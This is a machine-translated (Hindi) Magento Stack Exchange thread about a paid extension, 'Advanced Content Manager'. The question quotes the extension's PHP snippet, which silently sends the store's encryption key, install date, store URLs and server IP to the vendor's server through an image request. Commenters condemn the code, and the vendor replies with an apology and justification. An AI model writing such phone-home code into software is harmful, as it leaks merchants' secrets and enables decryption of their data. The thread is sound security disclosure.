किसी मॉड्यूल के वैश्विक / क्रिप्ट / कुंजी को दूर से एक्सेस करने का कोई अच्छा कारण?

Question

मेरी अज्ञानता को क्षमा करें, लेकिन क्रिप्ट कुंजी का उपयोग मैगेंटो डेटा को डिक्रिप्ट करने के लिए किया जाता है, है ना? क्या किसी मॉड्यूल के लिए इसे एक्सेस करने का कोई अच्छा कारण है? उन्नत सामग्री प्रबंधक स्थापित करने के बाद मैं इस कोड से टकरा गया ...

<div id="banana-tracker">
<?php
    $stores = Mage::app()->getStores();
    $key = (string)Mage::getConfig()->getNode('global/crypt/key');
    $date = (string)Mage::getConfig()->getNode('global/install/date');
    $serverIp = $_SERVER['SERVER_ADDR'];

    $params = 'key='.$key.'&date='.$date.'&';

    foreach($stores as $store)
    {
        $params .= 'store_'.$store->getCode().'='.urlencode(Mage::app()->getStore($store->getId())->getBaseUrl(Mage_Core_Model_Store::URL_TYPE_LINK)).'&';
    }
?>
<img src="http://www.advancedcontentmanager.com/images/distant/banana-tracker.gif?<?php echo $params; ?>time=<?php echo time(); ?>&serverip=<?php echo $serverIp; ?>" />

Comments

इस। है। भयानक। आपके एन्क्रिप्शन कुंजी को लीक करने का कोई कारण नहीं है।

— फाबियन ब्लेचस्मिट

यह बुरा है, बहुत बुरा है।

— अन्ना वोक्कल

अच्छा पकड़ा! यह बहुत बुरा है ...

— Sander Mangel

धन्यवाद @Sander हमें बताने के लिए। इसे कनेक्ट से हटा दिया गया है।

— ५:५० मिनट पर

@बेनमार्क सुनकर खुशी हुई। यह स्पष्ट कारणों के साथ-साथ बेहद निराशाजनक है क्योंकि ऐप बेहद प्रभावशाली रहा है और डेवलपर अतीत में बेहद मददगार और त्वरित रहा है।

— TylersSN

Answer 1

हाँ ... एक अच्छा कारण है।
वे इसे जानना चाहते हैं और इसे लॉग इन करना चाहते हैं, बस मामले में। :)

आपको एक्सटेंशन को अनइंस्टॉल करना चाहिए (संभवतः आपने पहले ही किया था)। आपको कभी भी "फ़ोन होम" एक्सटेंशन का उपयोग नहीं करना चाहिए, चाहे वह कोई भी डेटा घर भेजे।

आप दूसरों के देखने के लिए यहां विस्तार को सूचीबद्ध करना चाह सकते हैं: Magento एक्सटेंशन से मजेदार / बेकार / भयानक कोड

Comments

दुर्भाग्य से बहुत सारे मॉड्यूल द्वारा "फॉनिंग होम" किया जाता है। \: Amasty और Aheadworks रूप में अच्छी तरह यह करना

— Sander Mangel

इस gist.github.com/miguelbalparda/b57a47a010a5995bc44d को सभी फ़ोल्डरों में एप्लिकेशन / कोड / कोर के लिए CLI से वैश्विक / क्रिप्ट / कुंजी की जांच के लिए इस्तेमाल किया जा सकता है।

— मलबपर्दा

इसलिए न केवल वे cc डेटा (अच्छी बात यह है कि मैं इसे बचाने के लिए नहीं है) पासवर्ड, आदि को डिक्रिप्ट करने में सक्षम हैं .. लेकिन मैंने उस क्षमता के लिए उनके लिए $ 300 का भुगतान किया। वह यह है कि मजेदार पोस्ट किया जाना चाहिए।

— TylersSN

@iUseMagentoNow। यह मज़ेदार "ऊह" है, न कि मज़ेदार "हा हा"। आपको अपने पैसे वापस मांगने चाहिए।

— मेरियस

Answer 2

हमें आज इस सुविधा के बारे में समर्थन का अनुरोध मिला है। हमने पहले ही इसका हल निकाल लिया है और इस कोड को हटा दिया है। एक नया रिलीज़ हमारे सभी ग्राहकों के लिए उनके ग्राहकों के क्षेत्र में उपलब्ध है (मुफ्त में, जैसा कि हम असीमित अपडेट प्रदान करते हैं)।

मुझे पता है कि हमें इसे सही ठहराने की जरूरत है, तो चलिए ऐसा करते हैं:

• इस ट्रैकर का लक्ष्य केवल हमारे एक्सटेंशन के गैर-अधिकृत उपयोग का पालन करना था।
• ट्रैकर केवल व्यवस्थापक क्षेत्र में प्रदर्शित किया गया था (आपका कोई भी ग्राहक या आपके और हमारे अलावा कोई भी इसे देखने में सक्षम नहीं था)।
• हमने इसे अपने डीबी में भी हटा दिया।
• कुंजी केवल आपके व्यवस्थापक पासवर्ड को एन्क्रिप्ट करने के लिए है। जैसा कि हम समर्थन अनुरोधों के साथ आप सभी के साथ काम करने के लिए उपयोग करते हैं, आप पहले से ही समर्थन के लिए, वैसे भी ईमेल द्वारा हमें अपनी साख भेज सकते हैं। यदि हम आपका पासवर्ड चाहते हैं, तो हम सीधे भेज देंगे ... यह लक्ष्य नहीं था।
• कुंजी के साथ भी, आपका पासवर्ड अभी भी एन्क्रिप्ट किया गया है। और magento व्यवस्थापक कुछ अटैक के बाद उपयोगकर्ता को ब्लॉक करता है।

हम समझते हैं कि यह एक गलती है, और यह समुदाय और खुले स्रोत प्रणाली की ताकत है: हम बहुत तेजी से ठीक कर सकते हैं और सुधार कर सकते हैं। आप सभी को सचेत करने के लिए धन्यवाद, हम अब भेद्यता पर अधिक प्रयास करेंगे।

Comments

Magento एसई पर सार्वजनिक रूप से यहाँ जवाब देने के लिए प्रयास करने के लिए +1!

— 7ochem

एक्सटेंशन का गैर अधिकृत उपयोग ?! आप बस इसके लिए डोमेन का उपयोग कर सकते हैं।

— मलबपर्धा